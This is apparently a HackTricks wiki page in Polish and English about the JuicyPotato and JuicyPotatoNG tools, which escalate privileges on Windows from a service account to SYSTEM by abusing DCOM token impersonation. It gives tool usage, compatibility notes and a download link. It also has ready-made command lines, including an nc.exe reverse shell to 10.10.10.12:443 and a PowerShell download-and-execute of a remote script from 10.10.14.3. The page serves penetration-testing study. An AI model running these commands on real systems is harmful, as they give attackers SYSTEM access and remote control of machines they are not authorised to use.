JuicyPotato
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
[!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (nadużywanie "golden privileges")
Słodsza wersja RottenPotatoNG, z odrobiną "soku", tj. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM
You can download juicypotato from https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Szybkie uwagi o kompatybilności
- Działa niezawodnie do Windows 10 1803 i Windows Server 2016, gdy bieżący kontekst ma SeImpersonatePrivilege lub SeAssignPrimaryTokenPrivilege.
- Nie działa w wyniku wzmocnień bezpieczeństwa w Windows 10 1809 / Windows Server 2019 i nowszych. Dla tych buildów preferuj alternatywy wymienione powyżej.
Podsumowanie
RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na BITS service mającej nasłuch MiTM na 127.0.0.1:6666 oraz gdy masz uprawnienia SeImpersonate lub SeAssignPrimaryToken. Podczas przeglądu konfiguracji Windows znaleźliśmy środowisko, w którym BITS został celowo wyłączony, a port 6666 był zajęty.
Postanowiliśmy "uzbroić" RottenPotatoNG: poznaj Juicy Potato.
Dla teorii zobacz Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM i prześledź łańcuch linków oraz odnośników.
Odkryliśmy, że oprócz BITS istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one jedynie:
- być możliwe do zainicjowania przez bieżącego użytkownika, zwykle “service user”, który posiada uprawnienia do impersonacji
- zaimplementować interfejs
IMarshal - działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, …)
Po testach uzyskaliśmy i sprawdziliśmy obszerną listę interesujących CLSID-ów na kilku wersjach Windows.
Szczegóły
JuicyPotato pozwala na:
- Docelowy CLSID wybierz dowolny CLSID, który chcesz. Tutaj znajdziesz listę uporządkowaną według systemu operacyjnego.
- Port nasłuchu COM określ port nasłuchu COM, którego chcesz użyć (zamiast na stałe ustawionego 6666)
- Adres IP nasłuchu COM zwiąż serwer z dowolnym adresem IP
- Tryb tworzenia procesu w zależności od uprawnień podszywanego użytkownika możesz wybrać:
CreateProcessWithToken(wymagaSeImpersonate)CreateProcessAsUser(wymagaSeAssignPrimaryToken)both- Proces do uruchomienia uruchom plik wykonywalny lub skrypt, jeśli eksploatacja zakończy się sukcesem
- Argument procesu dostosuj argumenty uruchamianego procesu
- Adres serwera RPC dla ukrytego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC
- Port serwera RPC przydatne, jeśli chcesz uwierzytelnić się na zewnętrznym serwerze, a zapora blokuje port
135… - TRYB TESTOWY głównie do celów testowych, np. testowania CLSID-ów. Tworzy DCOM i wypisuje użytkownika tokenu. Zobacz tutaj do testów
Użycie
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Ostatnie uwagi
Jeśli użytkownik ma uprawnienia SeImpersonate lub SeAssignPrimaryToken, to jesteś SYSTEM.
Praktycznie niemożliwe jest zapobieżenie nadużyciom wszystkich tych COM Servers. Możesz rozważyć modyfikowanie uprawnień tych obiektów za pomocą DCOMCNFG, ale powodzenia — to będzie trudne.
Rzeczywiste rozwiązanie polega na zabezpieczeniu wrażliwych kont i aplikacji, które działają pod kontami * SERVICE. Zatrzymanie DCOM z pewnością utrudniłoby ten exploit, ale mogłoby mieć poważny wpływ na system operacyjny.
From: http://ohpe.it/juicy-potato/
JuicyPotatoNG (2022+)
JuicyPotatoNG ponownie wprowadza eskalację uprawnień lokalnych w stylu JuicyPotato na nowoczesnych systemach Windows, łącząc:
- Rozwiązanie DCOM OXID do lokalnego serwera RPC na wybranym porcie, omijając stary, hardcoded nasłuch 127.0.0.1:6666.
- Hook SSPI do przechwycenia i podszycia się pod przychodzące uwierzytelnienie SYSTEM bez potrzeby użycia RpcImpersonateClient, co również umożliwia CreateProcessAsUser, gdy obecne jest tylko uprawnienie SeAssignPrimaryTokenPrivilege.
- Sztuczki spełniające ograniczenia aktywacji DCOM (np. dawny wymóg grupy INTERACTIVE przy celowaniu w klasy PrintNotify / ActiveX Installer Service).
Ważne uwagi (zachowanie zmienia się między buildami):
- Wrzesień 2022: Początkowa technika działała na wspieranych systemach Windows 10/11 i Server, wykorzystując “INTERACTIVE trick”.
- Styczeń 2023 — aktualizacja od autorów: Microsoft później zablokował INTERACTIVE trick. Inny CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) przywraca możliwość eksploatacji, ale tylko na Windows 11 / Server 2022, według ich wpisu.
Podstawowe użycie (więcej flag w pomocy):
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
Jeśli celujesz w Windows 10 1809 / Server 2019, gdzie klasyczny JuicyPotato jest załatany, preferuj alternatywy podlinkowane powyżej (RoguePotato, PrintSpoofer, EfsPotato/GodPotato itp.). NG może być sytuacyjne w zależności od builda i stanu usługi.
Przykłady
Uwaga: Odwiedź this page , aby uzyskać listę CLSID-ów do wypróbowania.
Uzyskaj nc.exe reverse shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Uruchom nowe CMD (jeśli masz dostęp przez RDP)
.png)
Problemy z CLSID
Często domyślny CLSID używany przez JuicyPotato nie działa i exploit kończy się niepowodzeniem. Zwykle potrzeba wielu prób, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do wypróbowania dla konkretnego systemu operacyjnego, odwiedź tę stronę:
Sprawdzanie CLSID
Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.
Pobierz Join-Object.ps1 i załaduj go do swojej sesji PS, a także pobierz i uruchom GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.
Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Zacznie testować każdy CLSID, a gdy numer portu się zmieni, będzie to oznaczać, że CLSID zadziałał.
Sprawdź działające CLSID-y używając parametru -c
Referencje
- https://github.com/ohpe/juicy-potato/blob/master/README.md
- Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks